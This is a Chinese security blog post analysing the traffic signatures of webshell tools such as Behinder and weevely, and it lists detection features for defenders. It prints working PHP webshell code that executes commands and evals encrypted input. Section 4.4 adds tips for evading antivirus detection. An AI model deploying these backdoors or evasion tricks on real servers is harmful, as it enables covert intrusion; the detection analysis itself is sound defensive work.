webshell 管理工具流量特征分析

1.冰蝎

基于冰蝎的加密流量威胁,剖析其通信原理,冰蝎的通信过程可以分为两个阶段:密钥协商以及加密传输。
第一阶段:密钥协商
攻击者通过 GET 或者 POST 方法,形如(http://127.0.0.1/shell.aspx?pass=645)的请求服务器密钥。
服务器使用随机数 MD5 的高16位作为密钥,存储到会话的 $_SESSION 变量中,并返回密钥给攻击者。
第二阶段-加密传输
1)客户端把待执行命令作为输入,利用 AES 算法或 XOR 运算进行加密,并发送至服务端;
2)服务端接受密文后进行 AES 或 XOR 运算解密,执行相应的命令;
3)执行结果通过AES加密后返回给攻击者。

通过wireshark抓取冰蝎3.0流量包:

冰蝎使用AES加密,我们进行AES解密试试看:

还需要对内容进行base64解码,就获取了明文:

@error_reporting(0);

function getSafeStr($str){
    $s1 = iconv('utf-8','gbk//IGNORE',$str);
    $s0 = iconv('gbk','utf-8//IGNORE',$s1);
    if($s0 == $str){
        return $s0;
    }else{
        return iconv('gbk','utf-8//IGNORE',$str);
    }
}
function main($cmd,$path)
{
    @set_time_limit(0);
    @ignore_user_abort(1);
    @ini_set('max_execution_time', 0);
    $result = array();
    $PadtJn = @ini_get('disable_functions');
    if (! empty($PadtJn)) {
        $PadtJn = preg_replace('/[, ]+/', ',', $PadtJn);
        $PadtJn = explode(',', $PadtJn);
        $PadtJn = array_map('trim', $PadtJn);
    } else {
        $PadtJn = array();
    }
    $c = $cmd;
    if (FALSE !== strpos(strtolower(PHP_OS), 'win')) {
        $c = $c . " 2>&1\n";
    }
    $JueQDBH = 'is_callable';
    $Bvce = 'in_array';
    if ($JueQDBH('system') and ! $Bvce('system', $PadtJn)) {
        ob_start();
        system($c);
        $kWJW = ob_get_contents();
        ob_end_clean();
    } else if ($JueQDBH('proc_open') and ! $Bvce('proc_open', $PadtJn)) {
        $handle = proc_open($c, array(
            array(
                'pipe',
                'r'
            ),
            array(
                'pipe',
                'w'
            ),
            array(
                'pipe',
                'w'
            )
        ), $pipes);
        $kWJW = NULL;
        while (! feof($pipes[1])) {
            $kWJW .= fread($pipes[1], 1024);
        }
        @proc_close($handle);
    } else if ($JueQDBH('passthru') and ! $Bvce('passthru', $PadtJn)) {
        ob_start();
        passthru($c);
        $kWJW = ob_get_contents();
        ob_end_clean();
    } else if ($JueQDBH('shell_exec') and ! $Bvce('shell_exec', $PadtJn)) {
        $kWJW = shell_exec($c);
    } else if ($JueQDBH('exec') and ! $Bvce('exec', $PadtJn)) {
        $kWJW = array();
        exec($c, $kWJW);
        $kWJW = join(chr(10), $kWJW) . chr(10);
    } else if ($JueQDBH('exec') and ! $Bvce('popen', $PadtJn)) {
        $fp = popen($c, 'r');
        $kWJW = NULL;
        if (is_resource($fp)) {
            while (! feof($fp)) {
                $kWJW .= fread($fp, 1024);
            }
        }
        @pclose($fp);
    } else {
        $kWJW = 0;
        $result["status"] = base64_encode("fail");
        $result["msg"] = base64_encode("none of proc_open/passthru/shell_exec/exec/exec is available");
        $key = $_SESSION['k'];
        echo encrypt(json_encode($result), $key);
        return;
        
    }
    $result["status"] = base64_encode("success");
    $result["msg"] = base64_encode(getSafeStr($kWJW));
    echo encrypt(json_encode($result),  $_SESSION['k']);
}//攻击包

function encrypt($data,$key)
{
	if(!extension_loaded('openssl'))
    	{
    		for($i=0;$i<strlen($data);$i++) {
    			 $data[$i] = $data[$i]^$key[$i+1&15]; 
    			}
			return $data;
    	}
    else
    	{
    		return openssl_encrypt($data, "AES128", $key);
    	}
}$cmd="Y2QgLztscw==";$cmd=base64_decode($cmd);$path="Lw==";$path=base64_decode($path);
main($cmd,$path);

1.1冰蝎流量特征分析

1)流量特征Accept字段
冰蝎的通信过程中会携带以下Accept字段,在进行数据通讯中会携带Accept字段
Accept: application/json, text/javascript, _/_; q=0.01

2)流量特征Content-Type字段
PHP站点:Application/x-www-form-urlencoded
ASP站点:Application/octet-stream

3)流量特征User-agent 字段
冰蝎设置了10种User-Agent,每次连接shell时会随机选择一个进行使用(具体详情详见文档附录一)。

4)流量特征长连接
冰蝎通讯默认使用长连接,避免了频繁的握手造成的资源开销。默认情况下,请求头和响应头里会带有 Connection。
Connection: Keep-Alive

5)流量特征固定的请求头和响应头
PHP站点默认口令Default_xor_base64协议加密流量特征,请求字节头:
dFAXQV1LORcHRQtLRlwMAhwFTAg/M

响应字节头:
TxcWR1NNExZAD0ZaAWMIPAZjH1BFBFtHThcJSlUXWEd

PHP站点默认口令Default_aes协议加密流量特征,请求字节头:
m7nCS8n4OZG9akdDlxm6OdJevs/jYQ5/IcXK

响应字节头:
mAUYLzmqn5QPDkyI5lvSp6DmrC24FW39Y4YsJhUqS7

JSP站点默认口令Default_xor_base64协议,aes_with_magic协议,Default_aes协议,加密流量特征,响应字节头:
QhoVQgMXEUcUCBMHAGFZaQtuHFUVXlkWGhBcF1QVCRJ

6)流量特征PHP webshell 中存在固定代码

JSP webshell 中存在固定代码

7)流量特征连接密码
默认时,所有冰蝎4.* webshell都有“e45e329feb5d925b” 一串密钥。该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond

1.2解决建议

基于冰蝎上述的流量特征分析,新版冰蝎在请求数据报文中Content-type,User-Agent,Accept,Connection四个请求Header字段固定,属于冰蝎的弱特征,由于部分字段非冰蝎特有,可以把这些字段作为一个辅助特征,辅助其他特征来检测校验,判断是否为冰蝎恶意流量。
在默认密码情况下请求数据报文请求字节头,响应字节头固定,为冰蝎的强特征,可根据字节头内容判断是否为冰蝎恶意流量。
除了通讯流量特征,冰蝎webshell文件也包含固定特征,应检测流量中是否包含冰蝎webshell固定代码,以此判断是否为攻击者上传冰蝎Webshell文件。

附录一:

冰蝎4.0 内置10中User-Agent请求头

"Mozilla/5.0 (Macintosh; Intel Mac OS X 11_2_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36",
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:87.0) Gecko/20100101 Firefox/87.0",
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36",
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.74 Safari/537.36 Edg/99.0.1150.55",
"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36",
"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:98.0) Gecko/20100101 Firefox/98.0",
"Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36",
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36",
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0",
"Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like Gecko"

2.Cnife

Cnife流量的特征就是body部分的参数均为base64编码,将该部分进行base64解码之后,其流量特征同中国菜刀,还有一个eval函数。这里就不展开再说

3./usr/share/webshells

kali里面自带的一些webshell工具

这里我分析的是qsd,第三个文件

可以看到它的get请求比较独特,然后返回包带着<pre><h2>字段,还有Content-Type:txt/html 应该都算是特征值。而且返回包里都是明文。

4.weevely

可以看出,ua可以伪造,content-type:application/x-www-form-urlencoded貌似也是弱特征。

根据语法,生成我们要使用的webshell,然后将生成的webshell文件上传至目标网站服务器

weevely基础语法如下,其他指令可自行查阅:

weevely生成的webshell:


4.1 分析:

从以上代码中摘出来一些比较易懂的参数

从上图可以看出研究的重点是$D拼接出的字符串,整理后得到如下代码:

$k="9e94b15e";  $kh="d312fa42232f"; $kf="d87ahZ55db0d39"; $p="PY16bXfpTDNaKyiy"; function x($t,$k) {    $c=strlen($k);     $l=strlen($t);    $o="";    for($i=0;$i<$l;)    {        for($j=0;($j<$c&&$i<$l);$j++,$i++)        {            $o.=$t{$i}^$k{$j};        }    }    return $o; } if (@preg_match("/$kh(.+)$kf/",@file_get_contents("php://input"),$m)==1){    @ob_start();    @eval(@gzuncompress(@x(@base64_decode($m[1]),$k)));    $o=@ob_get_contents();    @ob_end_clean();    $r=@base64_encode(@x(@gzcompress($o),$k));    print("$p$kh$r$kf");

我们把它分为三类:

已定义参数

+自定义函数

+重要部分

4.2 已定义参数:

$k="9e94b15e";  $kh="d312fa42232f"; $kf="d87a55db0d39"; $p="PY16bXfpTDNaKyiy";

生成规律:

根据密码生成$k、$kh和$kf这三个参数的值,不论密码怎么变,$k、$kh和$kf这三个参数名称不变。

$p在返回已获取信息时才会用到。

3.2 自定义函数:

function x($t,$k) {    $c=strlen($k);     $l=strlen($t);    $o="";    for($i=0;$i<$l;)    {        for($j=0;($j<$c&&$i<$l);$j++,$i++)        {            $o.=$t{$i}^$k{$j};        }    }    return $o; }

3.3 重要部分:

if (@preg_match("/$kh(.+)$kf/",@file_get_contents("php://input"),$m)==1){    @ob_start();    @eval(@gzuncompress(@x(@base64_decode($m[1]),$k)));    $o=@ob_get_contents();    @ob_end_clean();    $r=@base64_encode(@x(@gzcompress($o),$k));    print("$p$kh$r$kf");}

关于重要部分的作用及运行流程可参见下图:

网上对于缓冲区的解释:

当执行PHP的时候,如果碰到了echo print_r之类的会输出数据的代码,PHP就会将要输出的数据放到PHP自身的缓冲区,等待输出。

当PHP自身的缓冲区接到指令,指示要输出缓冲区的内容时,将会把缓冲区内的数据输出到apache上,apache接受到PHP输出的数据,然后再把该数据存在到apache自身的缓冲区内,等到输出。

举例:

ob_end_clean()只会清除缓冲区的内容,并将缓冲区关闭,不会输出内容,如果要在缓冲区关闭前获取缓冲区内容,需要ob_get_contents()

接下来针对流程中的三个关键内容进行分析:

4.2.1获取加密payload

Wireshark看weevely发出的流量:

我们通过已定义的参数$kh和$kf的值找到了经过加密的payload。

4.2.2解密并运行payload

代码的具体实现过程:

为什么在“解密并运行payload”中要用$m[1]?

这里详细说明一下自定义函数x的运行过程:

可以从调试过程中看到,$c=8,代表$k的长度,$l=27代表$m[1]的长度,这里用$t来代表$m[1]。

$i<$l(27)时,外循环进行

$j<$c(8)$i<$l(27)时,内循环进行异或当操作。

内循环第一次结束时,$j=8$l=8,此时外循环不满足结束条件,所以又进行内循环,此时$j被重置,所以$j=0$l=8

第二次内循环结束时,$j=8$l=16,同理类推。

当内循环不满足$j<$c(8)$i<$l(27)时,跳出内循环

此时外循环$i<$l(27)不满足,跳出外循环。

4.2.3加密返回信息

这一步的作用在于防止流量返回时遭到查杀,解密的过程由weevely本地完成,即反解下面代码:

$k="9e94b15e";
$kh="d312fa42232f";
$kf="d87a55db0d39";
$p="PY16bXfpTDNaKyiy";

$r=@base64_encode(@x(@gzcompress($o),$k));
print("$p$kh$r$kf");

如果想自己解密可以遵循以下步骤:

  1. 正则匹配去除干扰字符串
  2. base64解码
  3. 反运行自定义函数x
  4. gzuncompress解压

4.3 weevely的webshell总结:

作者是如何躲过静态查杀和流量查杀的?

  • 使用str_replace()进行字符串拼接
  • base64加密/解密
  • 自定义函数加密/解密
  • 使用gzuncompress()和gzcompress()

以上就是$D参数中的内容,weevely通过调用create_function()调用以上代码。


4.4 weevely改进思路:

  1. 原生webshell中,使用了硬编码(如hP/hZ)来混淆敏感字符串(如create_function),从防御方的角度来看,只需要动态执行一下该php的代码,即可获取到对应的明文

我们可以在冰蝎/蚁剑连接webshell时设置特定http头,动态传递要被replace的字符,以增强其隐蔽性,具体应用在后续的“冰蝎和蚁剑改进版”中可以看到。

  1. 当杀毒软件发现我们解密了一个字符串,并把它当成函数来调用时(如$G=$X('',$D);$G();),也会触发查杀行为

    我们可以使用$GLOBALS减弱已解密字符串与函数调用的关系,绕过查杀

5.webacoo

很明显攻击包在cookie字段里面

posted @ 2024-03-08 22:48  Merakii  阅读(213)  评论(0编辑  收藏  举报